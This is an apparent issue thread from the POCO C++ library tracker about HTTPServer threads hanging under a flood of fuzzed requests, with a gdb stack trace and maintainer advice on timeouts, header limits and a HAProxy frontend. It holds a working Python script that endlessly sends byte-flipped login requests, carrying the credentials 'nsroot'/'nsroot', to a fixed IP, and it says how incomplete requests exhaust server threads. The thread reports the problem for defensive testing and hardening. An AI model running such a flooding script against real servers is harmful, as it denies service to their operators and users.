Poco HTTP server hangs on while sending Random packets

[sujov]

As part of our security testing, We have send random packets to POCO HTTPServer continuously. This was to test denial of service issue with web server. This test was causing server hang in HTTP server.

HTTP server threads are hanging while reading HTTP packets from socket while running script. The HTTP server threads are released only after the socket read timeout. This is causing connection failure from other genuine clients since threads are not available in server. The stack trace of sample HTTPServer during the hang is given below. Python script is also provided below

Please provide suggestions to avoid server thread hang while receiving malformed http packets in HTTPServer
#0 0x00000008014a61da in recvfrom () from /lib/libc.so.7
#1 0x0000000800c2f5ed in Poco::Net::SocketImpl::receiveBytes (this=0x801c3a2a0, buffer=0x802106000, length=4096, flags=0) at src/SocketImpl.cpp:316
#2 0x0000000800c2a548 in Poco::Net::StreamSocket::receiveBytes (this=0x7ffffdbeecf8, buffer=0x802106000, length=4096, flags=0) at src/StreamSocket.cpp:138
#3 0x0000000800c4b9bd in Poco::Net::HTTPSession::receive (this=0x7ffffdbeecf0,

buffer=0x802106000 "POST /nitro/v1/config/login HTTP/1.1\n   Host: 10.102.126.199\n   User-Agent: Mozilla/5.0 (Macintosh;▒Intel Mac OS X 10▒11;)rv:43.▒) GeEko/2j100101 Firefox/43.0\n  ▒Accept▒ \text/Mtm▒,applicationbxhtml+xm"..., length=4096) at src/HTTPSession.cpp:174

#4 0x0000000800c4ba84 in Poco::Net::HTTPSession::refill (this=0x7ffffdbeecf0) at src/HTTPSession.cpp:191
#5 0x0000000800c4bb3a in Poco::Net::HTTPSession::get (this=0x7ffffdbeecf0) at src/HTTPSession.cpp:121
#6 0x0000000800c34770 in Poco::Net::HTTPHeaderStreamBuf::readFromDevice (this=0x7ffffdbeea08,

buffer=0x802162007 "object=%7B%22login%2▒\0363A%QB%22username%22%3A%22nsroot%22%2C▒22password%22%3A%22nsroot%22%7p%7D\n20Pe▒%20Page\n00 GMT\nrv:43.0) Gecko/2010\005101 %irefox/43.0\n   AcceLt: t\037xt/ht\001l,application/xhtml+xml,▒ppli"..., length=4092) at src/HTTPHeaderStream.cpp:75

#7 0x0000000800c1ff48 in Poco::BasicBufferedStreamBuf<char, std::char_traits, Poco::Net::HTTPBufferAllocator>::underflow (this=0x7ffffdbeea08)

at BufferedStreamBuf.h:119

#8 0x000000080103be0a in std::basic_streambuf<char, std::char_traits >::uflow () from /usr/lib/libstdc++.so.6
#9 0x0000000800c1d4f2 in Poco::Net::MessageHeader::read (this=0x7ffffdbeebf0, istr=@0x7ffffdbeea70) at src/MessageHeader.cpp:101
#10 0x0000000800c4a96a in Poco::Net::HTTPRequest::read (this=0x7ffffdbeebf0, istr=@0x7ffffdbeea70) at src/HTTPRequest.cpp:231
#11 0x0000000800c329c5 in HTTPServerRequestImpl (this=0x7ffffdbeebf0, response=@0x7ffffdbeec80, session=@0x7ffffdbeecf0, pParams=0x80184bc90)

at src/HTTPServerRequestImpl.cpp:67

#12 0x0000000800c1abf7 in Poco::Net::HTTPServerConnection::run (this=0x801c39480) at src/HTTPServerConnection.cpp:85
#13 0x0000000800c429f1 in Poco::Net::TCPServerConnection::start (this=0x801c39480) at src/TCPServerConnection.cpp:65
#14 0x0000000800c56e81 in Poco::Net::TCPServerDispatcher::run (this=0x801876e00) at src/TCPServerDispatcher.cpp:136
#15 0x00000008007e11e7 in Poco::PooledThread::run (this=0x801c244c0) at src/ThreadPool.cpp:215
#16 0x00000008007dcaa1 in Poco::ThreadImpl::runnableEntry (pThread=0x801c244e8) at Thread_POSIX.cpp:378
#17 0x000000080164c5e1 in pthread_getprio () from /lib/libthr.so.3
#18 0x0000000000000000 in ?? ()

Python client script for the test case

``

!/usr/bin/env python3

import random
import socket
import time

host = ("10.212.223.61", 80)

while True:
http_req = bytearray("""POST http://10.212.223.61/nitro/v1/config/login HTTP/1.1
Host: 10.212.223.61
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
Referer: http://10.212.223.61/admin_ui/legatus/nmx/login.html?rand_token=dc729c638c94c57
Content-Length: 94
Cookie: logged_in_user_name=nsroot; SESSID=; user_rand=dc729c638c94c57; rdx_pagination_size=25%20Per%20Page
Connection: keep-alive

object=%7B%22login%22%3A%7B%22username%22%3A%22nsroot%22%2C%22password%22%3A%22nsroot%22%7D%7D
""".encode("ascii"))

preambule_len = 56
req_len = len(http_req)
max_byte_flips = (req_len - preambule_len) * 10 // 100
byte_flips = random.randint(1, max_byte_flips)

flip_indexes = [random.randint(preambule_len, req_len - 1) for _ in range(byte_flips)]
for i in flip_indexes:
http_req[i] = random.randint(0, 255)

try:
with socket.socket() as socket_:
socket_.connect(host)
socket_.send(http_req)
except socket.error:
time.sleep(5)
except KeyboardInterrupt:
exit(0)

[obiltschnig]

If you're concerned about that, simply set the timeout to a lower value, e.g. 5 seconds.

Poco::Net::HTTPServerParams::Ptr pParams = new HTTPServerParams;
pParams->setMaxQueued(maxQueued);
pParams->setMaxThreads(maxThreads);
pParams->setTimeout(Poco::Timespan(5, 0));

The same attack will work against every other multithreaded web server that has a sufficiently high request timeout set. You won't even have to send random data; an incomplete HTTP request (e.g., just the first line) is sufficient.

[raghugoyal]

Reducing the timeout is good but its not going to solve the problem completely, its just delaying the problem. We did reduced to 5 second, it helped but we still see problem if script continues with intention of Denial of Service attack on HTTP Server.

We ran similar python script against apache webserver and it did not show any such problem. just wondering if some implementation or setting that we are missing in Poco.

Is there any way in Poco HTTPServer where we can rate limit number of HTTP requests per second based on Source IP?

[raghugoyal]

Any other suggestions to make Poco WebServer full proof against DOS attacks?

[obiltschnig]

You can also play with the constants in MessageHeader.h limiting header sizes:

enum Limits
    /// Limits for basic sanity checks when reading a header
{
    MAX_NAME_LENGTH  = 256,
    MAX_VALUE_LENGTH = 8192,
    DFL_FIELD_LIMIT  = 100
};

But if you're really concerned about attacks you should run HAProxy as a frontend server. There are plenty of articles on the net showing how to harden HAProxy against all kinds of HTTP attacks.